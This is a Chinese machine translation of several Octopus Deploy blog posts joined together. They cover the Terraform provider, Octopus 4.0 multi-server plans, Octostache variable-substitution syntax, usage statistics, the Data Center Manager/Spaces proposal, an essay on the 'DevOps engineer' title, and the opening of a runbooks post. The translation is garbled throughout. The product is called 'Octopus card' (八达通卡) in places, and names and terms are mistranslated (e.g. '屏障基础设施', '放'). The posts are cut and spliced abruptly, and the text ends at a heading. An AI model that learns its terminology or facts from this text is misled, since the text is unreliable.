GitHub 上的项目库带有 Mozilla Public License 版许可。我们接受拉取请求，并且我们希望看到社区贡献。
使用 Terraform provider 的基础架构代码与配置代码
我们目前正在构建对代码为的配置的支持，以给团队一个版本控制的 Octopus 项目的文本表示。这带来了许多好处，但也提出了几个问题。
对于我们的 Terraform 提供商来说，配置即代码和基础设施即代码有什么区别？什么时候应该使用配置作为代码？我应该何时使用 Terraform 提供程序？
这两个特性都很有价值，它们相辅相成。如果适合您的需要，您可以选择单独使用或一起使用它们。这两种技术之间最显著的区别是范围。基础设施代码侧重于提供和配置整个 Octopus 实例，而配置代码侧重于项目中的自动化过程。
使用代码为的 Config，您可以在 Git 源代码控制中获得自动化过程(部署和 runbook)的人类可读版本。这带来了许多好处，包括捕获历史，支持分支的变更，拥有单一的事实来源，以及提高创建可以被克隆的模板配置的能力。Config as Code 侧重于项目中的自动化过程。它不允许您配置 Octopus 的其他区域。
使用代码为的基础设施，您可以提供新的 Octopus 实例并配置现有的实例。这涵盖了 Octopus 的大部分领域，从基础设施、项目、库到系统配置。您还可以从 Terraform 生态系统中获得许多好处，包括配置基础架构、管理变更和检测偏差的一致方法。
结论
我们很高兴分享我们的 Terraform 提供者，我们希望它能帮助团队用一种声明性的“基础设施即代码”的方法来管理他们的 Octopus 实例。
章鱼-章鱼部署
当我们第一次构建 Octopus 时，我们设想它将被小团队用来将应用程序部署到十几台机器上。随着时间的推移，我们已经看到客户将 Octopus 扩展到数千台机器，部署了数百个不同的项目。在这种规模下，客户需要他们的 Octopus 服务器始终在线，因此我们支持在多节点、高可用性集群上运行单个 Octopus 服务器。
一个巨大的章鱼服务器并不总是一个好主意。
你可能有很多没有共同之处的团队。埃森哲就是这种情况，该公司在整个组织内对 Octopus 进行了标准化，并在少数超大型 Octopus 服务器上部署了数百个团队。对于他们的场景，将大的 Octopus 服务器分成许多小的更有意义，有效地给每个团队或几个团队他们自己的小的、隔离的 Octopus 服务器。
或者，也许您的组织符合 PCI 标准，并且需要在您的开发和生产环境之间进行严格的分离。这种情况下的客户通常在每个安全区域管理一个 Octopus 服务器，并在两个安全区域之间同步项目。
我们想得越多，就越意识到有几个令人信服的理由可以解释为什么你可能会拆分你的 Octopus 服务器:
**独立团队:**你的组织，像埃森哲一样，有多个独立工作的团队。目前 Octopus 有许多项目间共享的实体(例如生命周期、变量集、步骤模板等)。单独的章鱼服务器确保你的豌豆和胡萝卜留在自己的盘子里。
**规模:**机器的资源是有限的。虽然一个高可用性集群允许您跨多个服务器扩展工作，但在很多情况下，拥有大量实体(环境、机器、项目等)会影响性能和可用性。
**安全环境:**出于安全或合规性原因，您的组织需要将开发和生产环境严格分开。许多客户通过在每个安全区域安装一个 Octopus 服务器来解决这个问题。
**分布式环境:**许多组织跨多个地理区域部署环境。通过在每个位置托管一个 Octopus 服务器，部署性能(尤其是包传输)可以显著提高。
你现在可以用章鱼做这些，但是很疼
所有这些都是真实情况，我们的客户目前正在处理这些情况。在每一种情况下，我们都找到了完成工作的方法，但感觉我们并没有以“一流”的方式解决所有这些问题。
让我们来看一些例子。
跨多个 Octopus 服务器横向扩展
独立团队和规模场景通常通过将许多 Octopus 服务器分布在一台或多台机器上来处理，通常在组合中的某处使用高可用性集群。
好了，现在您已经决定跨多个服务器进行分片；你已经解决了一些问题，但是你用其他问题代替了它们:
为了解决身份和访问控制问题，您可以使用我们的一个联合身份验证提供商来实现单点登录(SSO ),但是管理每个用户在您的每个 Octopus 服务器上被授予的权限可能会很痛苦。
您可以使用数据迁移在 Octopus 服务器之间共享数据，但是这很复杂，并且没有处理冲突的好方法。
安全环境和分布式环境场景类似于独立团队和规模，但有所不同。
通常所希望的是一种促进 Octopus 服务器之间的释放的方法。理想情况下，保留 Octopus 的所有优点，如在仪表板上查看进度，部署就像单击按钮一样简单。
如今，这通常通过几种方法来解决:
这些都管用；每天都有很多客户在使用。但是它们都有缺点:
- 离线部署必须在每台目标机器上手动执行，并且不允许您查看部署结果或任务日志。
- Migrator 实用程序从来不是为在不同环境之间升级单一版本而设计的。
- 孤立的 Octopus 服务器会遇到我们前面提到的所有管理难题。
简而言之，它们没有以我们满意的方式解决根本问题。
八达通部署 4.0
你能想象有一种工具能让你管理整个章鱼服务器群的身份、访问控制、升级和信息共享吗？我们可以！
你能想象从一个 Octopus 服务器向另一个服务器发布版本，并看到部署结果流回，即使服务器完全断开连接？我们也可以想象！
在 Octopus 总部，我们一直在考虑 Octopus Deploy 的下一个主要版本:版本 4.0
这个版本的主要焦点将是解决上面介绍的场景，我们将在未来几周的帖子中深入探讨更多细节。
敬请关注。
Octostache 更新- JSON，索引，格式化和日期- Octopus 部署
作为支持 Docker 部署的一部分，我们意识到我们需要一种方法来访问作为集装箱检查输出返回的 JSON 格式的信息。与其递归遍历 JSON 对象并在运行 Docker 步骤后将所有属性转换为 Octopus 变量，以防后续步骤需要它，我们决定在需要变量时更新Octopus che(我们的变量替换库)来支持解析 JSON 。虽然我们已经接触了变量解析库，但是我们认为在 3.5 中增加一些其他有用的特性是一个很好的借口！
JSON 解析
例如，如果将项目或输出变量设置为 JSON 值:
Variables:
Custom.Json = "{Name: 't-shirt', Sizes: [{size: 'small', price: 15.00}, {size: 'large', price: 20.00}]}"
Expressions:
#{Custom.Json.Name}
#{Custom.Json.Sizes[0].price}
#{Custom.Json.Sizes[1]}
Resolves to:
"t-shirt"
"15.00"
"{size: "large", price: 20.00}"
请注意，如果您已经显式地提供了一个与将解析为 JSON 路径的值相匹配的变量，例如，如果您显式地设置了一个项目变量
Custom.Json.Name = "pants"
那么将返回显式变量pants。这个新的解析支持如上所示的点符号或索引符号，因此#{Custom.Json.[Sizes][0][price]}也可以解析为'15.00'。这最后一点把我带到下一个更新...
索引替换
不久前，我们增加了在索引中执行变量替换的支持。
Variables:
Server[Asia] = "Beijing"
Server[Europe] = "London"
Continent = "Asia"
Expression:
#{Server[#{Continent}]}
Resolves To:
"Beijing"
作为变量替换本身的结果，您现在可以动态解析适当的Server变量。顺便说一下，它对 Docker 步骤也很方便，您可能希望从容器 JSON 输出中访问一个变量，该变量由另一个步骤的一些属性输出索引，而这些属性输出只能在部署时知道。
条件式
直到最近，变量替换中的条件语句需要一个真值比较。也就是说，只有当变量的值类似于"True"时，它们才会将条件解析为true。现在不再是这种情况，比较现在可以检查直接字符串相等或使用内部变量替换。
Variables:
City = "London"
Capital = "London"
Expressions:
#{if City == "London"}'Ello Guvna#{/if}
#{if City != "Paris"}'Ello Guvna#{/if}
#{if City == Capital}'Ello Guvna#{/if}
Resolve To:
'Ello Guvna
'Ello Guvna
'Ello Guvna
格式化
我们的一些用户面临的一个问题是，当我们将项目变量中的日期保存到数据库中时，序列化程序会将它们转换成不同的格式。我们引入了一个新的内置八进制函数，允许你将日期变量格式化为. NET 支持的任何自定义格式
#{<VariableName> | Format <DataType> <Format>}
其中<DataType>可以是“DateTime”、“DateTimeOffset”、“Double”、“Decimal”或“Int”之一(不区分大小写)。Octostache 然后会尝试将在<VariableName>解析的变量解析为指定的类型，然后用 C# .ToString()方法转换回一个字符串，传入提供的<Format>参数。
Variables:
Cash = "12.1"
MyDate = "2030/05/22 09:05:00"
CustomFormat = "MMM dd, yyyy"
Expressions:
#{Cash | Format double C}
#{MyDate | Format DateTime \"HH dd-MM-yyyy\"}
#{MyDate | Format DateTime #{CustomFormat}}
Resolve To:
$12.1
09 22-May-2030
May 22, 2030
请注意，格式化将使用进行转换的计算机的当前区域性。此外，由于这些参数由空格分隔，如果您的格式包含空格，就像上面的日期格式一样，您将需要包含引号。如果缺少<DataType>参数，格式化程序将首先尝试将变量解析为小数，然后解析为 DateTimeOffset。
除了新的NowDate和NowDateUtc函数(没有变量输入)，您还可以获得当前时间戳，并将其与格式化函数链接在一起。
Expression:
#{ | NowDate | Format yyyy}
Resolves to
"2016"
结论
我们希望您会发现这些新的变量替换功能非常有用。Octostache，我们的变量替换库是开源的，并且已经在 GitHub 上提供了，所以请随意查看并贡献您自己的增强建议，或者从我们的在线文档中了解更多关于在您的部署中使用这些新表达式的信息。Octopus 3.5 的这些新增功能允许变量和作用域之间更丰富和复杂的关系。让我们知道它们如何(或不如何)对您的部署有用！
octo stats- Octopus Deploy 的使用和采用-Octopus Deploy
像大多数科技公司一样，Octopus 收集有关我们的业务和产品表现的指标。在过去的几年里，我们做得非常好，所以我想让你们看一下这些指标会很棒。
我把这篇文章分成三个部分:
- 牵引力
- 转换
- 典型和最大的安装
我们从两个主要来源收集这些数据:
- 我们的许可证和订单数据库-如果您开始试用或购买许可证，它会记录在这里
- 遥测(使用统计 ) -用户可以在设置期间将其关闭。我们猜测至少有一半的安装是关闭的，但是我们下面给出的任何东西都是基于我们实际记录的(也就是说，如果我们说有 6500 个活动安装，这意味着遥测告诉我们是 6500 -实际数字可能是两倍高。
在 SaaS 公司可以很容易地看到有人最后一次登录他们的帐户，或衡量流失率，我们处于劣势。Octopus 是可下载的软件，由于我们重视用户的隐私，我们的遥测数据是我们能够获得使用情况近似值的最接近的东西。
牵引力
现在在野外有超过 6500 只章鱼在活动。这来自我们的遥测数据——每次 Octopus 服务器检查更新时，我们都会记录 ping。因此，在过去几天的某个时候，有 6500 个 Octopus 实例检查了更新(同样，许多用户可能已经关闭了这一功能)。由于 Octopus 通常安装在一个虚拟机/服务器上，所以它们很少被“遗忘”并在后台运行。在过去的 12 个月中，活跃安装的数量翻了一番。
25%的财富 100 强公司已经购买了八达通卡。我们已经在 62 个国家出售了八达通卡。我们排名靠前的国家是:
(按人口平均，斯堪的纳维亚国家真的很爱章鱼！)
我不会分享我们的收入数字，但增长看起来是这样的:
转换
今年四月章鱼有 1008 个新试验。三月和二月也差不多。鉴于 Octopus 是我五年前在业余时间开始的一个项目，很难想象每个月都有超过 1000 人开始试用 Octopus。新试验的数量也在增长——上一季度的试验数量比上一季度多 10%。
在下一部分之前，我应该解释一下，我们提供 45 天的免费试用，然后可以变成付费许可证，或者您可以选择使用免费的社区版本(部署到多达 10 台服务器)。
我们有多擅长让人们坚持使用章鱼？这是对我们遥测数据的群组分析:
2016 年 1 月，511 个新实例首次向我们发送了遥测数据。四个月后，到 2016 年 4 月，我们看到的 76% 的实例仍在向我们发送遥测数据。由于 45 天的试用期已经到期，那些没有购买许可证的人必须使用免费版本。
(我说的是 2016 年 4 月，开始了 1008 个章鱼的新试验。这来自我们的许可证数据库——我们知道我们发放了 1008 个新的试用许可证。群组分析来自遥测数据，用户会被告知这些数据，并且可以在设置向导中关闭这些数据，因此我们只看到了来自 561 个新实例的遥测数据。)
三月，我们出售了 261 新的八达通卡。如果您将我们每月发布的试用版数量与我们发布的新购买许可证数量进行比较，它会在每月 23-27%之间徘徊。
综上所述，我们的漏斗看起来像这样:
- 在一个月内，大约有 1000 人开始尝试章鱼
- 大约 75%的用户在试用期满四个月后仍会使用它(大部分是社区版)
- 23-27%的人最终会购买许可证
就我而言，这是一个非常好的转化率。
我们的许可证是永久的，您可以每年续订许可证，以继续获得新功能和支持。我们的续租率目前约为 63% 。就我所见，对于可下载的软件来说，这并不可怕，但也不惊人。我觉得有几个原因(借口？)为此:
- Octopus 是那种一旦运行就忘得一干二净的软件。人们投入大量时间建立他们的构建/部署管道，然后一旦它运行，他们就专注于他们真正的项目，让它运行。
- Octopus 用于自动化部署的项目可能已经结束，或者进入维护模式(Octopus 通常由单个项目团队使用，而不是一些大型企业计划)
- SaaS 公司会存储您的付款信息，并自动向您收取费用，我们必须向您发送电子邮件，要求您进行续订，这需要您付出更多的努力。
典型和最大的安装
我们收集的遥测数据有两部分。通过启用“检查更新”，我们至少知道在世界的某个地方有一个 Octopus 服务器正在运行。但是通过启用“包含特性使用统计”，我们还可以看到每个实例正在使用什么样的特性。
“典型的”Octopus 实例和我们一些最大的装置之间有着巨大的差异。这里有一个典型的例子——中位章鱼服务器:
- 3 个环境
- 4 台机器(几乎全是监听模式)
- 3 个项目
- 78 次部署
- 23 个打包步骤，9 个脚本步骤
- 4 个用户
更大的服务器(第 75 个百分点):
- 6 个环境
- 12 台机器(10 种监听模式)
- 10 个项目
- 382 次部署
- 140 个打包步骤，120 个脚本步骤
- 10 个用户
这里是一些我们最大的服务器:
是的，在世界的某个地方有一个部署了超过 3566 个触角的章鱼服务器！
这对我们如何进行功能设计有相当大的影响。我们总是假设大多数安装都有少数几个环境和项目，在很大程度上这是正确的。但是有一个很长的尾巴，人们有大量的装置。这是机器尾巴的样子(X 轴是机器的数量，Y 是用户的数量——所以大多数人都有< 10 machines, some have 10-20, and then a decreasing amount have more).
摘要
当你把我们有遥测数据的所有 Octopus 实例加起来，总的来说，Octopus 已经执行了超过 260 万次部署。每个月有 1000 人在尝试 Octopus，大多数人会坚持一段时间——这是一种非常“粘性”的产品。而且有一些难以置信的大型 Octopus 服务器正在进行严肃的部署自动化。章鱼做的这么好，我太骄傲了。
我们成功的秘密是在过去几年里一直关注我们的旅程的了不起的人们。我希望你会喜欢这个窥视我们如何跟踪！
如果你对其他数字感兴趣，请在下面的评论中告诉我。我不能保证分享一切(嘿，我们必须有一些秘密！)但我会尽力:-)
使用 Octopus 数据中心管理器 RFC - Octopus Deploy 管理空间
更新 2019 年 1 月
在 2019.1 发布的 Octopus Deploy 中我们有了一个名为 Spaces 的新功能，已经实现了 ODCM 功能提出的最初目标。
看看这里的空间，现在可以下载了。
在之前的一篇文章中，我们谈到了我们的客户在大规模使用 Octopus 时遇到的一些现实问题，并介绍了我们在 Octopus 4.0 中解决这些问题的一些设想。在那篇文章中，我们提出了一个集中管理大量 Octopus 服务器的工具的想法。
在这篇文章中，我们将更多地讨论这个暂时命名为 Octopus 数据中心经理 (ODCM)的工具的外观。
使用场景
现在让我们向您介绍一些用户，他们为一个希望集中管理大量 Octopus 服务器的组织工作。
用户 1:丽莎航运
Lisa 负责一个团队，该团队正在交付一些新的内部软件。他们正在接近他们的第一个交付里程碑，不希望有任何惊喜。他们一直愉快地使用 Octopus 的特定版本，他们没有遇到任何问题，并且他们希望保持这种状态。
在项目过程中，很明显，一些专业技能将有助于更快地完成一个功能，Lisa 已经能够在组织的另一个团队中找到一个可以提供帮助的开发人员。对 Lisa 来说，允许开发人员快速、轻松地访问非常重要。
用户 2:鲍勃专家
Bob 是一名具有专业技能的开发人员，他将与 Lisa 的团队一起完成一些工作。他已经通过他的另一个团队访问了 Octopus，他不想要新的凭证或者必须记住新的 Url。
用户 3:杰夫局外人
Geoff 是一家外部机构的顾问，他也加入了 Lisa 的团队。他已经有了一个由他的组织管理的 Azure AD 登录，并且真的不希望有另一组凭证来管理。
用户 4:屏障基础设施
巴里负责该组织的八达通基础设施。一些关键项目依赖于这种基础设施，重要的是他知道任何 Octopus 服务器何时离线。
他还负责帮助团队实现 Octopus 实践的标准化，并在组织内分享相关知识。
特征
现在让我们来谈谈这些用户在处理多个 Octopus 服务器时所面临的一些挑战，并看看将对他们有所帮助的 ODCM 功能。
组织的 ODCM 安装可能如下所示。
ODCM 以一种高可用性配置展示(它将支持单节点和 HA 配置)，这对 Barry 很重要。项目依赖于这些 Octopus 服务器，他希望确保可靠和及时的反馈。
给团队自己的空间
当我们开始谈论 ODCM 及其内部功能时，一些事情很快变得显而易见，一些术语可能会过载和令人困惑。这是我们团队内部的事情，我们每天都在经历这种事情，所以让我们来看一些定义以避免混淆。
Instance
a running instance of Octopus server or Tentacle EXE
Server
a machine on which an instance runs
Node
an Octopus Deploy server instance
Node Set
a number of nodes that share an Octopus database and work together to provide High Availability
Space
a container for Octopus Deploy concerns (e.g. Projects, Environments, Variables, Deployment Targets), as bounded by a single Octopus database. (i.e. it's Octopus as you know it today)
这里关键的新定义是空间。这个概念来自一个大章鱼被分开的想法，这样项目/团队就有了自己独立的工作空间。
现在，回到我们的朋友巴里基础设施。他将在日常的章鱼管理中直接处理空间。其他用户都在一个空间内操作，但是这个空间是相当透明的。
ODCM 将为巴里提供如下功能:
- 利用一只现存的章鱼作为空间，
- 将现有空间中的东西分离到一个新的空间中，
- 创建一个新的空白空间
- 通过仪表板和警报监控空间
- 跨空间报告
身份管理
跨多个空间工作的关键之一是处理用户身份和访问控制。我们可以通过让 ODCM 承担责任来解决这些问题。
当空间向 ODCM 登记时，其身份验证将被配置为指向 ODCM，这将集中身份管理并允许跨空间的 SSO。ODCM 将支持 Octopus Deploy 目前支持的所有认证提供商(即用户名密码、活动目录、Azure AD、GoogleApps)。
许多用户受益于这种集中化。
- Bob Specialist 可以移动团队，不需要新的身份或找到新的 URL
- Barry Infrastructure 可以定位 Bob 的现有身份，以授权他访问 Lisa Shipping 的空间
- Barry 可以为 Geoff Outsider 创建一个外部身份，然后他可以使用现有凭证登录。
让我们想象 Bob 现在可以访问多个空间，他如何快速轻松地在它们之间切换呢？我们认为它看起来会像这样。
用户体验可能类似于 Trello 用于管理和交换电路板的东西，具有如下特性:
- 快速查看并选择您最近访问过的共享空间
- “收藏”一个空间，因此它总是出现在顶部附近
- 链接到以平铺方式显示空间并允许搜索的页面
访问控制
我们从两个层面描述了跨空间的访问控制操作:
- 谁可以访问空间？
- 用户在一个空间内可以做什么？
作为 ODCM 管理员，Barry Infrastructure 将能够控制哪些用户组可以访问哪些空间。一个组可能由用户和/或外部组组成(即那些来自 Active Directory 或 Azure AD 的组)。
Lisa Shipping 作为一名空间管理员，将能够使用团队来管理哪些用户组在她的空间中拥有哪些权限，就像今天在 Octopus 中一样。例如，她可以指定一个团队，允许开发人员将东西部署到开发环境中。如果 Bob Specialist 是 ODCM 开发组的成员，那么当他被授予访问空间的权限时，他将能够立即部署到 Dev。
共享
我们对空间的愿景是，它们应该是相关事物的集合，因此共享的需求应该是最小的。我们考虑了哪些东西可能需要共享，并认为应该是这样的东西:
步骤模板和服务器扩展
Barry Infrastructure 将再次成为主要负责管理这些事情的人，我们再次考虑让他通过 ODCM 来完成这项工作。它将:
- 能够托管社区步骤模板库的版本
- 有类似的东西来托管服务器扩展
变量
现在，Barry 负责标准化，作为标准化的一部分，他希望定义/管理一些变量供团队使用。我们想象他可以这样做:
- 他创造了一个空间来容纳他想要分享的变量
- 他在这个空间和他想要分享的人(例如 Lisa)之间增加了信任
- 他在空间中创建了一个变量集，并指定了他想要共享它的空间
我们正在考虑在共享中支持两种同步模式。第一种模式让发布者指定更新必须自动推送给订阅者，第二种模式让订阅者选择更新是自动推送给他们还是按需同步。在上面的场景中，Barry 可以通过指定需要自动推送来确保所有空间保持最新。如果 Lisa 将变量集订阅到她的空间中，她将不得不接受这一点。
无论同步模式如何，变量集在订户空间中都将显示为只读，并且可以像任何其他变量集一样添加到项目中。
我们考虑了几种可能的工作方式，并基于几个原因选择了这种模式。一个关键原因是一致性，ODCM 经纪信息从发布者到订阅者符合上述所有的共享场景。它不需要理解任何信息，它只是帮助信息到达它需要去的地方。
放
发布的共享是即将到来的 RFC 的主题，所以我们在这里不会谈论太多。在这次讨论(ODCM 管理)的背景下，我们认为它将与变量有许多共同之处。
触须
关于共享的最后一点，触须已经可以被多个 Octopus 服务器使用，所以这仍然适用，它可以被多个空间使用。
多个 Octopus 部署版本
接下来，让我们考虑当另一个团队开始工作，Barry Infrastructure 收到一个新空间请求时会发生什么。比方说，他看了看当前的机器，发现其中一个有能力托管另一个空间。那台机器恰好是莉萨·航运公司的主机。因此，虽然机器有能力，丽莎的空间使用的八达通版本不能改变。
当前的 Octopus Deploy MSI 安装程序在这里产生了一个问题，因为它只允许在一台机器上安装一个版本，通过“ C:\Program Files ”。您可以使用 Octopus 服务器管理器在一台机器上配置多个实例，但是它们都共享相同的二进制文件，因此是相同的版本。
今天你可以绕过 MSI，但这需要一些努力。我们想让它变得简单。为此，ODCM 将接管服务器上的 Octopus 管理，并自动部署 Octopus。
每个空间都将是 Octopus 的一个独立副本，保持这种独立非常重要。这在某些层面上比其他层面更容易。例如，基于二进制文件的实例版本隔离相当简单。CPU、RAM 和磁盘等共享资源之间的隔离更成问题。我们目前正在研究各种选择，一旦完成，我们将分享更多信息。
Octopus 部署监控和报告
Barry Infrastructure 的一个关键角色是监控 Octopus 服务器并报告它们的使用情况。我们看到 ODCM 在为此提供便利，因为它处于收集和汇总这些信息的最佳位置。我们设想它将有一个实时监控的仪表板和一些报告统计数据和使用信息的页面。
我们并不期望所有的仪表板功能和报告都包含在初始版本中。我们将关注一个最小的集合，并在随后的版本中以此为基础。初始版本可能包含如下内容:
- 显示共享空间及其服务器版本和当前状态(在线/离线)的仪表板
- 显示每个空间的项目计数和目标计数的报告
- 显示给定时间段内每个空间的部署计数(成功和失败的部署数量)的报告
如果您认为还有其他有价值的指标，请告诉我们。
批准
ODCM 将是八达通自行部署的独立产品，并将有不同的许可证模式。该模型仍在讨论中，我们将分享更多的细节，因为他们变得可用。价格将是友好的关于运行大量的空间。
反馈
我们上面谈到的是我们认为对 ODCM 来说最不可行的产品。一如既往，我们渴望得到您的反馈，并在接下来的几周内开始实施。
我们已经创建了一个新的存储库，在那里你会找到一个 ODCM 的规范文档。该规范最初基于我们在此分享的内容，我们的计划是使用问题和 pr 来收集反馈，并在未来几周和几个月内对其进行改进。它将是一个活的文档，并将发展成为一个特性和它们如何实现的规范。我们希望通过这些问题和公关，会有一个好的故事来追踪功能是如何形成的。
我们想问的是，如果你只是想提供一些快速反馈，那么像往常一样在下面做。如果有更大的事情需要更详细的讨论，我们希望在 GitHub 上进行，所以去那里制造一个问题。
关于“DevOps 工程师”的命名——章鱼部署
原文：https://octopus.com/blog/on-the-naming-of-devops-engineers
回到 11 月，我分享了我的 DevOps 阅读清单。这个帖子在社交媒体上有点疯狂，有几天我迷失在了 Twitter 和 LinkedIn 的讨论中。一个人分享了链接，并评论说我的博客文章是任何想成为“DevOps 工程师”的人的“必读”之作。
虽然我很感激这种支持，但我对我的话被用在这种情况下感到不舒服。你看，我不喜欢“DevOps 工程师”这个头衔。
在这篇文章中，我将首先试图阐明为什么 DevOps 社区中的许多人在听到“DevOps 工程师”或“ DevOps 团队”时会退缩。然后，我会推荐几个可能更合适的其他职位，这些职位可能会避免在社区中引起争议。
顺便说一下，我知道这是一个非常热门的话题。我无意挑起一场火焰战争。我并不想破坏世界各地优秀的“DevOps 工程师”每天所做的有价值和重要的工作。事实上，虽然我不喜欢这种命名惯例，但我实际上认为，拥有“开发工程师”头衔的人通常被低估和不被欣赏。
如果你是“DevOps 工程师”，我向你致敬。我希望你有一个能更好地代表你在工作中所做出的真正贡献的头衔。
不同的思考方式
职称通常定义一个人需要完成的任务。“软件开发人员”开发软件，“系统管理员”管理系统，“团队领导”领导团队。他们完成任务质量可以用来评估他们的表现。
DevOps 不一样。DevOps 是一组通常拥有不同角色、技能和职责的人一起工作以实现某个目标的方式。这是一个协作协议，要求一个人或一个团队“完成所有的协作”是没有意义的。换句话说，如果你采用 DevOps 是因为你有一个竖井问题，创建一个新的“DevOps”竖井不太可能是一个有效的解决方案。
“DevOps 工程师”实际上是做什么的？
与“软件开发人员”、“系统管理员”或“团队领导”不同，“开发工程师”这个头衔并没有明确定义一个人应该执行的任务。“DevOps”作为一项由特定的人来完成的任务是没有意义的。没有人能设计出 DevOps。
我承认，最近几年，这个头衔经常被用作负责构建/发布系统的人和/或管理一堆云基础设施的人的简称。然而，这种过度简化是有害的。
将开发归结为简单的自动化部署和/或基础架构，因为代码只能让组织到目前为止。专注于部署自动化而忽视 DevOps 包的其余部分的组织通常最初会看到生产力显著提高的幻觉，但是当他们意识到他们已经比以前更快地发布了错误并积累了技术债务时，他们就会陷入困境。
挑选自动化部署的樱桃，而不建立适当的测试、安全、架构和更广泛的文化防护，很少能带来 DevOps 爱好者承诺的那种回报。
DevOps 是接口，不是类
不要把 DevOps 想象成某一类工程师的任务，而是把 DevOps 想象成一个接口，由许多不同类的工程师以及整个组织中许多其他部门的人(高级领导、市场营销、信息安全等)来实现。
我试着把它整理如下:
这是一种相当专业的说法，所以对于那些不是软件开发人员的人来说，让我用一个更容易理解的例子换一种说法。
你会雇佣一名“Spotify 模型”工程师吗？
“Spotify 模式”是矩阵管理结构的一种形式，在大型 IT 部门的 DevOps 社区中很流行。你可以在 Henrik Kniberg 和 Anders Ivarsson 撰写的白皮书中了解更多关于“Spotify 模式”的信息。
在这种模式下，初级软件团队结构是一个“小队”，多个小队被分组为“部落”，每个部落包含不超过 150 人。一个团队有一个特定的业务目标，并且由需要设计、开发、测试和发布满足该目标所需的任何软件的每个人组成。使用团队拓扑词汇，一个“班”可能是一个流对齐的团队。
还有各种其他的沟通、协作和管理结构来连接团队和部落，但我不会被这里的那些分散注意力。如果您感兴趣，请阅读白皮书。(很好。)
重要的一点是，像 DevOps 一样，如果一个组织使用“Spotify 模式”,这意味着其中的每个人都需要接受它。不管他们的角色如何，部落中的每个人都会受到特定团队和沟通结构的影响。
下面是一个工程含义的示例，一字不差地从白皮书中复制过来:
从技术上讲，任何人都可以编辑任何系统。由于团队实际上是特性团队，他们通常需要更新多个系统来将新特性投入生产。"
由于团队与业务目标一致，而不是特定的服务或代码库，某种形式的标准化构建和发布过程可能是必要的。事实上，这里隐含了相当多的信息:
Spotify 有一个独立的运营团队，但他们的工作不是为团队发布代码，而是为团队提供他们自己发布代码所需的支持。"
那么，你会把那个运营团队称为“Spotify 模特团队”吗？是由“Spotify 模型工程师”组成的吗？嗯，听起来不太对，是吗？
这听起来不太对，因为 Spotify 模型主要是一种影响每个人的管理/协作结构，维护部署平台所需的工作只是使其工作所需的一种能力。
DevOps 也是如此。建造和释放管道是冰山的一角…而且是一座大冰山。
那么，究竟什么是“DevOps”呢？
让我们来看看几个最广为接受的关于 DevOps 的定义:
在所有情况下，DevOps 的范围显然比部署管道或单个人/团队要广泛得多。而是整个 It 组织的实践和表现。
Accelerate 接着定义了有助于提高 IT 性能的 24 项功能。在这 24 项功能中，只有两项(“对所有生产工件使用版本控制”和“自动化您的部署过程”)，将基础架构巧妙地匹配为代码/部署管道 DevOps 工作描述。可能还有其他相关的能力，但是这些能力并不能完全对应到一个人身上。这些是组织能力，而不是个人能力。如果把任务交给一个人，大多数都没有意义。例如:
虽然部署管道肯定是重要的，甚至是关键的，但它们只是一个细节。重要的是不要以牺牲大局为代价迷失在具体细节中。
换句话说:
传达错误的想法
“DevOps 工程师”或“DevOps 团队”的任务是有害的，因为它向组织中的大多数人宣传了两个有问题的想法:
- DevOps 是其他人的工作，而不是他们主要关心的
- DevOps 只是作为代码的部署管道和/或基础设施
基于 DevOps 给我们的教训，这是适得其反的。当每个人都签署了 DevOps，当它在我上面描述的更广泛的意义上被认可时，devo PS 就工作了。当 DevOps 被解释为只是一个可以外包给某个第三方的部署管道时，它就失败了。
事实上，在 DevOps 社区中，看到一个“DevOps 工程师”的招聘广告有点像代码气味。它暗示了组织很可能以这种适得其反的狭义来解释 DevOps。许多最优秀的人可能会认为这是一个危险信号，并因为这个原因主动推迟为雇佣“开发工程师”的公司工作。
可怜的“DevOps 工程师”不可能的汇款
DevOps 对 IT 性能的改进做出了重大承诺，但这些改进是许多因素和许多人的结果。这些因素当然包括有效的构建和部署管道，但它们也包括许多其他技术、程序和文化因素，这些因素远远超出了单个“DevOps 工程师”或“DevOps 团队”的范围。
我们不要让一个人/团队承担整个组织的 IT 绩效的隐含责任(除非他们是 CTO)。这会让可怜的“DevOps 工程师”面临失败，因为 DevOps 做出的承诺仅凭他们的行动是无法实现的。
您可以根据“软件开发人员”、“系统管理员”或“团队领导”完成工作描述中描述的任务的情况来衡量他们的绩效，但是您不能根据组织的 DevOps 计划的成功来衡量任何单个工程师/团队的成功，除非单个工程师/团队最终对整个 IT 组织的绩效负责。
建议的备选职称
为了记录在案，我并不是说我从根本上不同意要求一个人或一个团队为了更广泛的组织的利益而开发共享工具。这些共享工具很可能包括部署和自助式环境供应平台。
团队拓扑将这些团队称为“平台团队”。现场可靠性工程也支持这一点，详细讨论了“现场可靠性工程”角色/团队的角色和范围。然而，在这两种情况下，DevOps 被认为是一个更广泛的主题，而不仅仅是这些团队/这些角色中的个人的工作描述。事实上，细想起来，我似乎是下意识地、不小心用我上面的界面比喻抄袭了他们。DevOps 工程师手册更详细地探讨了团队结构。
更简单地说，对于一个专门负责构建/发布管道的工程师来说，为什么不是“构建/发布工程师”呢。对于负责一些云基础设施的人来说，“基础设施工程师”或者普通的“系统管理员”怎么样？
如果一个人被期望为其他软件团队构建多个内部工具，为什么不是普通的老“软件开发人员”呢？在你惊讶之前，想想那些建立、维护或管理你的 CRM、HR 和会计系统的人的头衔。你可能有一个“CRM 开发人员”，但我猜这些人不叫“销售工程师”、“人力资源管理员”或“会计”。这些头衔完全意味着别的东西。
毕竟，虽然大多数软件开发人员正在学习以新的方式工作，但没有多少人会认真地建议他们需要一个新的职称，只是因为我们正在从瀑布项目管理风格转向 DevOps。
我支持在工作头衔中使用“DevOps”的一个地方是“DevOps 蔻驰”或“DevOps 导师”等。如果你的工作是帮助他人理解和实践 DevOps，很好。我对你没有意见。继续。
从根本上说，如果职称反映了一个人需要做什么，而不是更广泛的组织的发展哲学，那就更有意义了。
(即使他们被要求做的仅仅是管理 Octopus Deploy 服务器。)
阅读 DevOps 工程师手册了解更多关于 DevOps 的原则和实践，以及如何创建理想的 DevOps 文化。
操作手册:将操作置于 DevOps - Octopus 部署中
https://www.youtube.com/embed/Uc5TFqswJkM
VIDEO
Octopus 中的操作手册将 Ops 置于 DevOps 中。这篇文章是一系列文章的一部分:
我们最近为运行 Octopus 2019.11.0 或更新版本的章鱼云和自托管客户提供了运营操作手册。运行手册是 DevOps 中的操作，可自动执行日常维护和紧急操作(事故响应)任务，例如:
- 基础设施供应
- 数据库管理
- 网站故障转移和恢复
- 服务器维护
在这篇博文中，我们回答了这个问题，什么是 runbook，为什么 Octopus 对 runbook 自动化有用，并分享了一些 runbook 示例，它们确实可以提供帮助。
在这篇文章中
什么是 runbook？
